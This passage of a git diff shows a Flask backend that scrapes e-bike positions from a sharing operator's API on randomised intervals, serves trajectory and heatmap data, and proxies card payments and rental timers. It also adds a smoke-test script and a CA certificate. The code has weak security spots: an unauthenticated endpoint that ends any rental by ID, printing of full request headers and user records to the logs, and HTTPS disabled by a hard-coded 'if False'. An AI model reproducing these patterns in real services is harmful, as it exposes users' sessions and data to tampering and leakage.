"""启动所有有凭据用户的订单检测线程""" + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT id FROM users WHERE wx_signature IS NOT NULL AND wx_signature != ''") + users = cursor.fetchall() + conn.close() + + count = 0 + for row in users: + start_user_order_checker(row["id"]) + count += 1 + print(f"[订单检测] 已启动 {count} 个用户的订单检测线程") + + +# ========== 数据采集任务 ========== +import random +_snapshot_lock = threading.Lock() +_last_snapshot = 0 + +def get_adaptive_interval(): + """根据时间段返回自适应采集间隔(秒)""" + import datetime as dt + tz = dt.timezone(dt.timedelta(hours=8)) + hour = dt.datetime.now(tz).hour + + # 23:00-7:00 深夜:30-60分钟随机 + if hour >= 23 or hour < 7: + return random.randint(1800, 3600) + # 其他时间段:5-10分钟随机 + else: + return random.randint(300, 600) + +def snapshot_bike_positions(): + """定时采集车辆位置快照""" + global _last_snapshot + with _snapshot_lock: + if time.time() - _last_snapshot < 60: # 至少间隔1分钟 + return + _last_snapshot = time.time() + + print(f"[数据采集] 开始采集电动车位置... (间隔: {get_adaptive_interval()}s)") + + # 只采集电动车 (type=3) + result = request_api("GET", "/project/map", params={"type": "3"}) + + saved_count = 0 + if result.get("rtn_code") == 0 and result.get("data"): + # API 返回的是 bicycleStation 字段 + bikes = result["data"].get("bicycleStation", []) + + if bikes: + conn = get_db() + cursor = conn.cursor() + + for bike in bikes: + try: + cursor.execute(""" + INSERT OR IGNORE INTO bike_history + (bike_code, latitude, longitude, status, state, electric, recorded_at) + VALUES (?, ?, ?, ?, ?, ?, datetime('now', '+8 hours')) + """, ( + bike.get("code", ""), + float(bike.get("latitude", 0)), + float(bike.get("longitude", 0)), + bike.get("status", 1), + bike.get("state", 1), + float(bike.get("electric_quantity") or bike.get("electricQuantity") or 100), + )) + saved_count += 1 + except Exception as ex: + print(f"[数据采集] 插入失败: {ex}") + + conn.commit() + conn.close() + + print(f"[数据采集] 完成,采集了 {saved_count} 辆电动车") + +def cleanup_old_data(days=3): + """清理指定天数之前的历史数据,释放数据库空间""" + conn = get_db() + cursor = conn.cursor() + + # 统计清理前的行数 + cursor.execute("SELECT COUNT(*) FROM bike_history WHERE recorded_at < datetime('now', '+8 hours', ?)", (f'-{days} days',)) + bike_old = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM user_visits WHERE recorded_at < datetime('now', '+8 hours', ?)", (f'-{days} days',)) + visit_old = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sessions WHERE expires_at < datetime('now', '+8 hours')") + session_old = cursor.fetchone()[0] + + total_to_delete = bike_old + visit_old + session_old + if total_to_delete == 0: + conn.close() + print("[数据清理] 没有需要清理的旧数据") + return {"bike_deleted": 0, "visit_deleted": 0, "session_deleted": 0, "freed_mb": 0} + + db_size_before = os.path.getsize(str(DB_PATH)) + + # 删除旧数据 + cursor.execute("DELETE FROM bike_history WHERE recorded_at < datetime('now', '+8 hours', ?)", (f'-{days} days',)) + cursor.execute("DELETE FROM user_visits WHERE recorded_at < datetime('now', '+8 hours', ?)", (f'-{days} days',)) + cursor.execute("DELETE FROM sessions WHERE expires_at < datetime('now', '+8 hours')") + conn.commit() + conn.close() + + # VACUUM 需要单独的连接执行 + try: + vacuum_conn = get_db() + vacuum_conn.execute("VACUUM") + vacuum_conn.close() + except Exception as e: + print(f"[数据清理] VACUUM 失败(不影响数据删除): {e}") + + db_size_after = os.path.getsize(str(DB_PATH)) + freed_mb = (db_size_before - db_size_after) / 1024 / 1024 + + print(f"[数据清理] 完成: bike_history 删除 {bike_old} 行, user_visits 删除 {visit_old} 行, 过期session 删除 {session_old} 个, 释放 {freed_mb:.2f} MB") + + return { + "bike_deleted": bike_old, + "visit_deleted": visit_old, + "session_deleted": session_old, + "freed_mb": round(freed_mb, 2) + } + + +# 智能间隔自动采集 + 每日数据清理 +def start_snapshot_scheduler(): + last_cleanup = [0] # 上次清理时间戳 + + def run(): + while True: + interval = get_adaptive_interval() + print(f"[数据采集] 下次采集间隔: {interval}秒") + time.sleep(interval) + snapshot_bike_positions() + + # 每天执行一次数据清理(至少间隔23小时) + now = time.time() + if now - last_cleanup[0] >= 23 * 3600: + last_cleanup[0] = now + try: + cleanup_old_data(days=3) + except Exception as e: + print(f"[数据清理] 清理失败: {e}") + + t = threading.Thread(target=run, daemon=True) + t.start() + print("[数据采集] 车辆位置快照采集已启动(智能间隔策略 + 每日数据清理)") + + +# ========== 历史数据分析 API ========== + +@app.route("/api/collect_now", methods=["POST"]) +def api_collect_now(): + """手动触发一次数据采集""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + snapshot_bike_positions() + return jsonify({"rtn_code": 0, "message": "采集完成"}) + + +@app.route("/api/history/bikes") +def api_history_bikes(): + """获取有历史数据的车辆列表""" + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT DISTINCT bike_code, + COUNT(*) as point_count, + MIN(recorded_at) as first_seen, + MAX(recorded_at) as last_seen + FROM bike_history + GROUP BY bike_code + ORDER BY bike_code ASC + """) + bikes = [dict(row) for row in cursor.fetchall()] + conn.close() + return jsonify({"rtn_code": 0, "data": bikes}) + + +@app.route("/api/history/trajectory") +def api_history_trajectory(): + """ + 获取车辆轨迹 + GET /api/history/trajectory?bike_code=xxx&days=1 + """ + bike_code = request.args.get("bike_code") + days = int(request.args.get("days", 1)) + + if not bike_code: + return jsonify({"rtn_code": 400, "message": "缺少 bike_code"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT latitude, longitude, status, state, electric, recorded_at + FROM bike_history + WHERE bike_code = ? + AND recorded_at >= datetime('now', '-{} hours', '+8 hours') + ORDER BY recorded_at ASC + """.format(days * 24), (bike_code,)) + + points = [dict(row) for row in cursor.fetchall()] + conn.close() + + return jsonify({ + "rtn_code": 0, + "data": { + "bike_code": bike_code, + "days": days, + "points": points, + "count": len(points) + } + }) + + +@app.route("/api/history/all_trajectory") +def api_history_all_trajectory(): + """ + 获取所有车辆轨迹(指定时间段) + GET /api/history/all_trajectory?days=1 + """ + days = int(request.args.get("days", 1)) + + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT bike_code, latitude, longitude, status, state, electric, recorded_at + FROM bike_history + WHERE recorded_at >= datetime('now', '-{} hours', '+8 hours') + ORDER BY bike_code, recorded_at ASC + """.format(days * 24)) + + # 按车辆分组 + trajectories = {} + for row in cursor.fetchall(): + code = row["bike_code"] + if code not in trajectories: + trajectories[code] = [] + trajectories[code].append({ + "lat": row["latitude"], + "lng": row["longitude"], + "status": row["status"], + "state": row["state"], + "electric": row["electric"], + "time": row["recorded_at"] + }) + + conn.close() + + return jsonify({ + "rtn_code": 0, + "data": { + "days": days, + "bike_count": len(trajectories), + "total_points": sum(len(v) for v in trajectories.values()), + "trajectories": trajectories + } + }) + + +@app.route("/api/history/heatmap") +def api_history_heatmap(): + """ + 获取分布热力图数据(服务端网格聚合,使用全部历史数据) + GET /api/history/heatmap + + 返回格式: + { + points: [{lng, lat, count}, ...] # 网格中心 + 落点数 + } + """ + conn = get_db() + cursor = conn.cursor() + + # 使用全量数据,0.00003° ≈ 3米 精度聚合 + cursor.execute(""" + SELECT + ROUND(latitude / 0.00003) * 0.00003 as lat_grid, + ROUND(longitude / 0.00003) * 0.00003 as lng_grid, + COUNT(*) as cnt + FROM bike_history + GROUP BY lat_grid, lng_grid + ORDER BY cnt DESC + LIMIT 50000 + """) + + rows = cursor.fetchall() + conn.close() + + # 转换为前端格式 + points = [] + max_count = 0 + for row in rows: + cnt = row["cnt"] + if cnt > max_count: + max_count = cnt + points.append({ + "lng": row["lng_grid"], + "lat": row["lat_grid"], + "count": cnt + }) + + # 计算边界 + if points: + lats = [p["lat"] for p in points] + lngs = [p["lng"] for p in points] + bounds = { + "min_lat": min(lats), + "max_lat": max(lats), + "min_lng": min(lngs), + "max_lng": max(lngs) + } + else: + bounds = None + + return jsonify({ + "rtn_code": 0, + "data": { + "total_points": sum(p["count"] for p in points), + "grid_count": len(points), + "max_count": max_count, + "bounds": bounds, + "points": points + } + }) + + +@app.route("/api/history/stats") +def api_history_stats(): + """ + 获取统计数据 + GET /api/history/stats + """ + conn = get_db() + cursor = conn.cursor() + + # 总体统计 + cursor.execute(""" + SELECT + COUNT(DISTINCT bike_code) as bike_count, + COUNT(*) as total_points, + MIN(recorded_at) as earliest, + MAX(recorded_at) as latest + FROM bike_history + """) + total = dict(cursor.fetchone()) + + # 状态分布(按 state 字段,与 map.html 图例一致) + # state=1 && status!=1 → 可用; state=1 && status=1 → 使用中 + # state=4 → 欠压; state=2 → 损坏; state=10 or electric<20 → 低电量 + cursor.execute(""" + SELECT + CASE + WHEN state = 10 OR electric < 20 THEN 'low' + WHEN state = 4 THEN 'locked' + WHEN state = 2 THEN 'reserved' + WHEN state = 1 AND status = 1 THEN 'used' + ELSE 'available' + END as bike_state, + COUNT(*) as count + FROM bike_history + GROUP BY bike_state + """) + status_dist = {row["bike_state"]: row["count"] for row in cursor.fetchall()} + + # 24小时分布(每小时各状态的平均车辆数) + # 逻辑:每个时间点统计各状态的车辆数,然后按小时计算平均值 + # 格式:strftime('%Y-%m-%d %H', ...) 是小时槽,strftime('%Y-%m-%d %H:%M', ...) 是分钟时间点 + try: + cursor.execute(""" + WITH hourly_snapshots AS ( + SELECT + strftime('%Y-%m-%d %H', recorded_at) as hour_slot, + strftime('%Y-%m-%d %H:%M', recorded_at) as minute_slot, + bike_code, + CASE + WHEN state = 10 OR electric < 20 THEN 'low' + WHEN state = 4 THEN 'locked' + WHEN state = 2 THEN 'reserved' + WHEN state = 1 AND status = 1 THEN 'used' + ELSE 'available' + END as bike_state + FROM bike_history + ), + snapshot_counts AS ( + SELECT hour_slot, minute_slot, bike_state, COUNT(DISTINCT bike_code) as cnt + FROM hourly_snapshots + GROUP BY hour_slot, minute_slot, bike_state + ), + hourly_averages AS ( + SELECT hour_slot, bike_state, ROUND(AVG(cnt), 1) as avg_cnt + FROM snapshot_counts + GROUP BY hour_slot, bike_state + ) + SELECT + SUBSTR(hour_slot, 12, 2) as hour, + MAX(CASE WHEN bike_state = 'available' THEN avg_cnt ELSE 0 END) as available, + MAX(CASE WHEN bike_state = 'used' THEN avg_cnt ELSE 0 END) as used, + MAX(CASE WHEN bike_state = 'locked' THEN avg_cnt ELSE 0 END) as locked, + MAX(CASE WHEN bike_state = 'reserved' THEN avg_cnt ELSE 0 END) as reserved, + MAX(CASE WHEN bike_state = 'low' THEN avg_cnt ELSE 0 END) as low + FROM hourly_averages + GROUP BY hour_slot + ORDER BY hour + """) + raw_hourly = {} + for row in cursor.fetchall(): + raw_hourly[row["hour"]] = { + "available": float(row["available"]), + "used": float(row["used"]), + "locked": float(row["locked"]), + "reserved": float(row["reserved"]), + "low": float(row["low"]) + } + except Exception as e: + # 兼容不支持CTE的旧数据库 + app.logger.warning(f"CTE查询失败,使用备用方案: {e}") + cursor.execute(""" + SELECT + strftime('%H', recorded_at) as hour, + CASE + WHEN state = 10 OR electric < 20 THEN 'low' + WHEN state = 4 THEN 'locked' + WHEN state = 2 THEN 'reserved' + WHEN state = 1 AND status = 1 THEN 'used' + ELSE 'available' + END as bike_state, + COUNT(*) as cnt + FROM bike_history + GROUP BY hour, bike_state + ORDER BY hour + """) + # 统计每小时快照数 + snapshots = {} + cursor.execute(""" + SELECT strftime('%H', recorded_at) as hour, COUNT(DISTINCT strftime('%Y-%m-%d %H:%M', recorded_at)) as snaps + FROM bike_history + GROUP BY hour + """) + for row in cursor.fetchall(): + snapshots[row["hour"]] = row["snaps"] + + # 按小时和状态整理 + raw_hourly = {} + for row in cursor.fetchall(): + h = row["hour"] + if h not in raw_hourly: + raw_hourly[h] = {"available": 0, "used": 0, "locked": 0, "reserved": 0, "low": 0} + snaps = snapshots.get(h, 1) + raw_hourly[h][row["bike_state"]] = round(row["cnt"] / snaps, 1) + + # 填充所有小时(0-23) + hourly_dist = {} + for h in range(24): + hour_key = f"{h:02d}" + hourly_dist[hour_key] = raw_hourly.get(hour_key, {"available": 0.0, "used": 0.0, "locked": 0.0, "reserved": 0.0, "low": 0.0}) + + # 确保所有数字都是精确的一位小数 + for h in hourly_dist: + for state in hourly_dist[h]: + hourly_dist[h][state] = float(f"{hourly_dist[h][state]:.1f}") + + # 活跃车辆Top10(使用中:state=1 AND status=1) + cursor.execute(""" + SELECT bike_code, COUNT(*) as point_count + FROM bike_history + WHERE state = 1 AND status = 1 + GROUP BY bike_code + ORDER BY point_count DESC + LIMIT 10 + """) + top_bikes = [dict(row) for row in cursor.fetchall()] + + conn.close() + + # 计算24小时各状态的平均车数 + hourly_avg = {"available": 0.0, "used": 0.0, "locked": 0.0, "reserved": 0.0, "low": 0.0} + for h in hourly_dist: + for state in hourly_avg: + hourly_avg[state] += hourly_dist[h].get(state, 0.0) + count = len(hourly_dist) or 1 + hourly_avg = {k: round(v / count, 1) for k, v in hourly_avg.items()} + + return jsonify({ + "rtn_code": 0, + "data": { + "total": total, + "status_distribution": status_dist, + "hourly_distribution": hourly_dist, + "hourly_avg": hourly_avg, + "top_bikes": top_bikes + } + }) + + +# ========== 用车计时 API ========== + +@app.route("/api/order/pay_methods", methods=["GET"]) +def order_pay_methods(): + """ + 获取订单可用支付方式(代理 /pay/methods) + GET /api/order/pay_methods?code={bicycleCode} + 返回支付方式列表:type=1微信, type=3月卡, type=4周卡 + """ + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + code = request.args.get("code", "").strip() + if not code: + return jsonify({"rtn_code": 400, "message": "缺少 code 参数"}) + + result = request_with_user_auth( + user["id"], "GET", "/pay/methods", + params={"code": code} + ) + + if result.get("rtn_code") != 0: + return jsonify({ + "rtn_code": result.get("rtn_code", 500), + "message": result.get("message", "获取支付方式失败"), + "data": {"methods": []} + }) + + # 从返回数据中提取支付方式列表 + data = result.get("data", {}) + # 接口可能直接返回列表,也可能在 data 字段里 + methods = data if isinstance(data, list) else data.get("payMethods", data.get("methods", [])) + + # 判断是否有月卡/周卡 + card_methods = [m for m in methods if str(m.get("type")) in ("3", "4")] + + return jsonify({ + "rtn_code": 0, + "data": { + "methods": methods, + "has_card": len(card_methods) > 0, + "card_methods": card_methods + } + }) + + +@app.route("/api/order/pay_with_card", methods=["POST"]) +def order_pay_with_card(): + """ + 月卡/周卡自动支付订单(代理 POST /pay/submit) + body: { + "order_id": "xxx", + "code": "51287", # 车辆编码 + "type": "3", # 3=月卡, 4=周卡 + "package_id": "xxx" # 卡包ID + } + 返回: + status="0" → 月卡支付成功(免费) + status="1" → 需要微信支付(月卡金额不足?不应出现) + """ + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + order_id = str(data.get("order_id", "")).strip() + code = str(data.get("code", "")).strip() + pay_type = str(data.get("type", "3")).strip() + package_id = str(data.get("package_id", "")).strip() + + if not order_id: + return jsonify({"rtn_code": 400, "message": "缺少 order_id"}) + if not code: + return jsonify({"rtn_code": 400, "message": "缺少车辆 code"}) + if not package_id: + return jsonify({"rtn_code": 400, "message": "缺少 package_id"}) + + # 构造请求体(与JS源码一致) + payload = { + "platform": "1", + "order_id": order_id, + "code": code, + "type": pay_type, + "package_id": package_id + } + + print(f"[pay_with_card] user={user['email']}, payload={payload}") + + result = request_with_user_auth( + user["id"], "POST", "/pay/submit", + data=payload + ) + + print(f"[pay_with_card] result={result}") + + if result.get("rtn_code") != 0: + return jsonify({ + "rtn_code": result.get("rtn_code", 500), + "message": result.get("message", "支付失败") + }) + + pay_status = str(result.get("data", {}).get("status", "")) + + if pay_status == "0": + # 月卡支付成功(免费,无需微信支付) + return jsonify({ + "rtn_code": 0, + "message": "月卡支付成功", + "data": { + "paid": True, + "need_wechat_pay": False + } + }) + elif pay_status == "1": + # 需要微信支付(月卡不足以覆盖,这里仅透传提示,不处理微信支付) + return jsonify({ + "rtn_code": 0, + "message": "月卡余额不足,需要微信支付", + "data": { + "paid": False, + "need_wechat_pay": True + } + }) + else: + return jsonify({ + "rtn_code": result.get("rtn_code", 0), + "message": result.get("message", "支付结果未知"), + "data": result.get("data", {}) + }) + + +@app.route("/api/rental/sync", methods=["POST"]) +def rental_sync(): + """ + 立即同步微信订单状态到本地(页面打开时调用) + 如果微信有进行中的订单,创建/升级 rentals 记录并启动定时器 + """ + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + _check_user_order(user["id"]) + + # 返回同步后的状态 + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT id, order_id, bike_code, expired, end_time, source FROM rentals + WHERE user_id = ? AND expired = 0 AND end_time > datetime('now', '+8 hours') + ORDER BY id DESC LIMIT 1 + """, (user["id"],)) + rental = cursor.fetchone() + conn.close() + + if rental: + import datetime as dt + tz = dt.timezone(dt.timedelta(hours=8)) + now = dt.datetime.now(tz) + end = dt.datetime.strptime(rental["end_time"], "%Y-%m-%d %H:%M:%S") + end = end.replace(tzinfo=tz) + remaining = max(int((end - now).total_seconds()), 0) + + return jsonify({ + "rtn_code": 0, + "data": { + "active": True, + "rental_id": rental["id"], + "bike_code": rental["bike_code"], + "remaining_seconds": remaining, + "end_time": rental["end_time"], + "source": rental["source"] + } + }) + + return jsonify({ + "rtn_code": 0, + "data": {"active": False} + }) + + +@app.route("/api/rental/start", methods=["POST"]) +def rental_start(): + """ + 开始用车计时 + body: {"bike_code": "51287"} + """ + print(f"[rental/start] Headers: {dict(request.headers)}") + user = get_current_user() + print(f"[rental/start] User: {user}") + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + bike_code = str(data.get("bike_code", "")).strip() + if not bike_code: + return jsonify({"rtn_code": 400, "message": "缺少 bike_code"}) + + # 使用北京时间 + import datetime as dt + tz = dt.timezone(dt.timedelta(hours=8)) + + conn = get_db() + cursor = conn.cursor() + + # 检查是否已有活跃计时 + now_beijing = dt.datetime.now(tz).strftime("%Y-%m-%d %H:%M:%S") + cursor.execute(""" + SELECT * FROM rentals + WHERE email = ? AND expired = 0 AND end_time > ? + """, (user["email"], now_beijing)) + existing = cursor.fetchone() + if existing: + conn.close() + return jsonify({ + "rtn_code": 400, + "message": "您已有进行中的用车计时,请先还车" + }) + + # 创建计时记录 + duration = RENTAL_DURATION_MINUTES + now_beijing = dt.datetime.now(tz) + end_beijing = now_beijing + dt.timedelta(minutes=duration) + start_str = now_beijing.strftime("%Y-%m-%d %H:%M:%S") + end_str = end_beijing.strftime("%Y-%m-%d %H:%M:%S") + + cursor.execute(""" + INSERT INTO rentals (bike_code, email, start_time, end_time, duration) + VALUES (?, ?, ?, ?, ?) + """, (bike_code, user["email"], start_str, end_str, duration)) + rental_id = cursor.lastrowid + conn.commit() + conn.close() + print(f"[rental/start] 创建租车: bike={bike_code}, email={user['email']}, rental_id={rental_id}") + + # 启动邮件提醒 + start_rental_timer(rental_id, user["email"], bike_code, duration) + + return jsonify({ + "rtn_code": 0, + "message": "计时开始", + "data": { + "rental_id": rental_id, + "bike_code": bike_code, + "duration": duration, + "remaining_seconds": duration * 60 + } + }) + + +@app.route("/api/rental/status", methods=["GET"]) +def rental_status(): + """查询当前用户用车状态""" + user = get_current_user() + print(f"[rental/status] User: {user}") + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + conn = get_db() + cursor = conn.cursor() + + import datetime as dt + tz = dt.timezone(dt.timedelta(hours=8)) + now_beijing = dt.datetime.now(tz).strftime("%Y-%m-%d %H:%M:%S") + + # 支持按 order_id 查询(用于订单横幅的倒计时) + order_id = request.args.get("order_id") + if order_id: + cursor.execute(""" + SELECT id, order_id, bike_code, email, start_time, end_time, expired, source + FROM rentals + WHERE order_id = ? AND expired = 0 AND end_time > ? + LIMIT 1 + """, (order_id, now_beijing)) + else: + # 只查询长按二维码的提醒记录(source='reminder'),排除一键开锁(source='unlock') + cursor.execute(""" + SELECT id, order_id, bike_code, email, start_time, end_time, expired, source + FROM rentals + WHERE email = ? AND expired = 0 AND end_time > ? AND source != 'unlock' + ORDER BY id DESC + LIMIT 1 + """, (user["email"], now_beijing)) + + rental = cursor.fetchone() + print(f"[rental/status] 查询结果: email={user['email']}, order_id={order_id}, rental={dict(rental) if rental else None}") + + if not rental: + conn.close() + return jsonify({ + "rtn_code": 0, + "data": {"active": False} + }) + + r = dict(rental) + remaining = _get_remaining_seconds(r) + + # 剩余时间 <= 0 视为已过期 + if remaining <= 0: + cursor.execute("UPDATE rentals SET expired = 1 WHERE id = ?", (r["id"],)) + conn.commit() + conn.close() + return jsonify({ + "rtn_code": 0, + "data": {"active": False} + }) + + conn.close() + + return jsonify({ + "rtn_code": 0, + "data": { + "active": True, + "rental_id": r["id"], + "order_id": r.get("order_id"), + "bike_code": r["bike_code"], + "email": r["email"], + "start_time": r["start_time"], + "end_time": r["end_time"], + "remaining_seconds": remaining, + "source": r.get("source"), + "rental_key": f"{r['id']}_{r['email']}" + } + }) + + +@app.route("/api/rental/return", methods=["POST"]) +def rental_return(): + """确认还车(停止计时)""" + data = request.get_json() or {} + rental_id = data.get("rental_id") + + if not rental_id: + return jsonify({"rtn_code": 400, "message": "缺少 rental_id"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("UPDATE rentals SET expired = 1 WHERE id = ?", (rental_id,)) + conn.commit() + conn.close() + + # 取消所有待发提醒 + _cancel_rental_timers(rental_id) + + # 记录自动还车 + print(f"[操作日志] 自动还车(计时结束): rental_id={rental_id}") + + return jsonify({"rtn_code": 0, "message": "已确认还车"}) + + +if __name__ == "__main__": + import urllib3 + urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + from pathlib import Path + + app_dir = Path(__file__).parent + + # ========== Let's Encrypt 证书配置 ========== + # 宝塔面板生成的 Let's Encrypt 证书路径 + CERT_DIR = Path("/www/server/panel/vhost/cert/47.112.187.172") + CERT_FILE = CERT_DIR / "fullchain.pem" # 证书链 + KEY_FILE = CERT_DIR / "privkey.pem" # 私钥 + PORT = 98 + + # 检查证书是否存在,不存在则降级 HTTP + use_https = False + if CERT_FILE.exists() and KEY_FILE.exists(): + try: + import ssl + ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + ssl_context.load_cert_chain(str(CERT_FILE), str(KEY_FILE)) + use_https = True + print(f"[SSL] Let's Encrypt 证书加载成功: {CERT_FILE}") + except Exception as e: + print(f"[SSL] 证书加载失败,降级 HTTP: {e}") + ssl_context = None + else: + print(f"[SSL] 证书文件不存在 ({CERT_FILE}, {KEY_FILE}),使用 HTTP") + ssl_context = None + + # 启动时清理3天前的旧数据 + print("[启动] 正在清理旧数据...") + cleanup_result = cleanup_old_data(days=3) + if cleanup_result["freed_mb"] > 0: + print(f"[启动] 已释放 {cleanup_result['freed_mb']} MB 数据库空间") + + # 启动时立即采集一次数据 + print("[启动] 正在采集初始车辆位置...") + snapshot_bike_positions() + + # 启动数据采集任务 + start_snapshot_scheduler() + + # 恢复未过期的计时器 + restore_active_timers() + + # 启动用户订单检测 + start_all_order_checkers() + + if False: + # HTTPS 模式(Let's Encrypt) + print(f"[启动] HTTPS 服务: https://0.0.0.0:{PORT}") + app.run(host="0.0.0.0", port=PORT, ssl_context=ssl_context) + else: + # HTTP 模式(降级) + print(f"[启动] HTTP 服务: http://0.0.0.0:{PORT}") + app.run(host="0.0.0.0", port=PORT) diff --git a/boot_smoke.py b/boot_smoke.py new file mode 100644 index 0000000..8e6527c --- /dev/null +++ b/boot_smoke.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""真实启动冒烟测试: 执行 app.py 的完整启动序列并验证 HTTP 服务可响应。 +唯一差异: start_rental_timer 被置空, 避免测试期间触发真实提醒邮件/自动还车。""" +import sys +import threading +import time +import urllib.request + +import timer +timer.start_rental_timer = lambda *a, **k: None # 防止测试期间发出真实邮件 + +import app as app_module + +app_module.init_db() +app_module.backup_database() +print("[smoke] init_db + backup 完成") + +app_module.restore_active_timers() +app_module.start_all_order_checkers() +app_module.start_snapshot_scheduler() + +PORT = 9987 +t = threading.Thread( + target=lambda: app_module.app.run(host="127.0.0.1", port=PORT, debug=False), + daemon=True, +) +t.start() + +# 等待服务就绪 +ok = False +for _ in range(30): + time.sleep(0.3) + try: + with urllib.request.urlopen(f"http://127.0.0.1:{PORT}/", timeout=3) as r: + body = r.read(200) + print(f"[smoke] GET / -> {r.status}, body[:60]={body[:60]!r}") + ok = r.status == 200 + break + except Exception: + continue + +# 再打两个关键接口 +for path in ("/api/config", "/api/history/stats"): + try: + with urllib.request.urlopen(f"http://127.0.0.1:{PORT}{path}", timeout=5) as r: + print(f"[smoke] GET {path} -> {r.status}") + except Exception as e: + print(f"[smoke] GET {path} -> 异常 {e}") + ok = False + +import os +os._exit(0 if ok else 1) diff --git a/ca_bundle.crt b/ca_bundle.crt new file mode 100644 index 0000000..a361571 --- /dev/null +++ b/ca_bundle.crt @@ -0,0 +1,35 @@ +-----BEGIN CERTIFICATE----- +MIIGITCCBAmgAwIBAgIRANCpCCVfjlDl8zltERRwKjcwDQYJKoZIhvcNAQEMBQAw +XzELMAkGA1UEBhMCR0IxGDAWBgNVBAoTD1NlY3RpZ28gTGltaXRlZDE2MDQGA1UE +AxMtU2VjdGlnbyBQdWJsaWMgU2VydmVyIEF1dGhlbnRpY2F0aW9uIFJvb3QgUjQ2 +MB4XDTI1MDkyNDAwMDAwMFoXDTM1MDkyMzIzNTk1OVowRjELMAkGA1UEBhMCQVQx +FTATBgNVBAoTDFplcm9TU0wgR21iSDEgMB4GA1UEAxMXWmVyb1NTTCBSU0EgRFYg +U1NMIENBIDIwggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQCnXX3Qm/G+ +ujylvYIkhJ53ZZ7XM03vXY03sCnO9VWjwMsV0qCQMlvhuRiJwrm4M5jgGehxIiCR +1qT0AyL2rHTWJR07vjJzuNmp7uoKu3HKwixBk9QuXD5aliO8/EDbzdZDcG/Hm5pC +mOeusLtds/UE/Iq24nw5WpcgZE5Ly+F/yCYDuEa7hXLJAPM5SecJIblG1OQ3ukMl +HHNBbDxBpGWTyDudd0DTed0NTgCPs1t8RZPhW9Gt/8nDwFX0pQ4eHfPEB8c6eNl2 +sRr2Afp1YErakR+53yEX2SXc2Kz0fbTlUc+To0ULGcJiWNyZwj//DTZ+M4xxsT2T +qjQ4Xfvm2EUTymrXDrh1Pm/wkBouu860c6eeQfNlKlccUyHOSeKCtPIWreMvH3Be +Ydeu3DwI8lefn/VUhSB2Bbz7hX3qz3oMmtSTmWhTnobyKlx1L2b/oloaqpy1cBc/ +QiLRSOptYGPjZtX0pRrTVKQXeP2rPUk0y5q/40WRpugSlHCX6aceWnsCAwEAAaOC +AW8wggFrMB8GA1UdIwQYMBaAFFZzWGSV+ZIasBIqBGJ5oUAViCFJMB0GA1UdDgQW +BBRLvvp2hCNEBLnOvjFv6fUyBv8MVzAOBgNVHQ8BAf8EBAMCAYYwEgYDVR0TAQH/ +BAgwBgEB/wIBADATBgNVHSUEDDAKBggrBgEFBQcDATATBgNVHSAEDDAKMAgGBmeB +DAECATBUBgNVHR8ETTBLMEmgR6BFhkNodHRwOi8vY3JsLnNlY3RpZ28uY29tL1Nl +Y3RpZ29QdWJsaWNTZXJ2ZXJBdXRoZW50aWNhdGlvblJvb3RSNDYuY3JsMIGEBggr +BgEFBQcBAQR4MHYwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuc2VjdGlnby5jb20v +U2VjdGlnb1B1YmxpY1NlcnZlckF1dGhlbnRpY2F0aW9uUm9vdFI0Ni5wN2MwIwYI +KwYBBQUHMAGGF2h0dHA6Ly9vY3NwLnNlY3RpZ28uY29tMA0GCSqGSIb3DQEBDAUA +A4ICAQCJ/3v2/vdexHsdVyXL9aCTQE01YXl23866TVM/LgRpRW+kneZXXZxP0hy4 +GnvlqUcxTq97B6qPdQcQxQxpGne7CRn0nWauzqieMcJzYl3fDC2Q/ANyPhyrbwCI +zx9EsRrgfjvuJCaUMtlfYpKqBUYiPOCPAN0HdrLD5hU6oV1tvWVsUzTA43skC3uH +wQM5YPIk0NDJFw3NhQPOIOwbq09T+SYSEZvsJ3t4sA4H3gh03RETNaAwTcTNS/+u +1tAeQUZZmKQyLWYLyoxvbISp/MFr9xqhDqrpAurYVNeiLJ5+4/WZPml20yNZjcxV +KKqRYdEurl8rmI2toCnCDWiEcTDvoYGtz60eYIt7VJID4DrCjTxAWTWh2T5ag2pK +ryNJGt8BFGLtjeD774SxAFn5MGYBVvEK4LXmCjVX78pb6/0Dceo71dlQUK68yftb ++yTeyoqjwgk2L8vNSrkj6UTkvvqXSONFuVU7bvC0O/9bi5MXBv7QUivMNxDsTtaT +IZO7PsSCRmLraQM2EPBgbNL9lRSEYi4Hj+NicT/e87pbhv88k0oec9xGcnkcvZpN +sJBz78mkZfeFIIjh02e2y9ke/Fqw1FbdhHtU2myaFnX0sRyGLmI/vzXSwyvT+Kxl +Wx8FV64z2PBdwd0vXRaAMXomGC0M1vQa5fBDn4dimzewsSiphQ== +-----END CERTIFICATE----- diff --git a/campus.py b/campus.py new file mode 100644 index 0000000..0691bd4 --- /dev/null +++ b/campus.py @@ -0,0 +1,339 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""校园地点:两类,用途严格分开。 + +1) poi(楼/兴趣点):只有一个坐标点,**不设范围**。 + 骑行起终点归属规则 = 最近的楼(哪个近就是哪个),标签为「XX附近」。 +2) parking(停车点):只有一个坐标点 + 统计半径(默认 150m)。 + **只用于订阅提醒**「这个点附近现在有没有车」,不参与起终点归属。 + +坐标系约定(与前端 coordtransform.js 同算法): +- campus_locations 里的坐标统一为 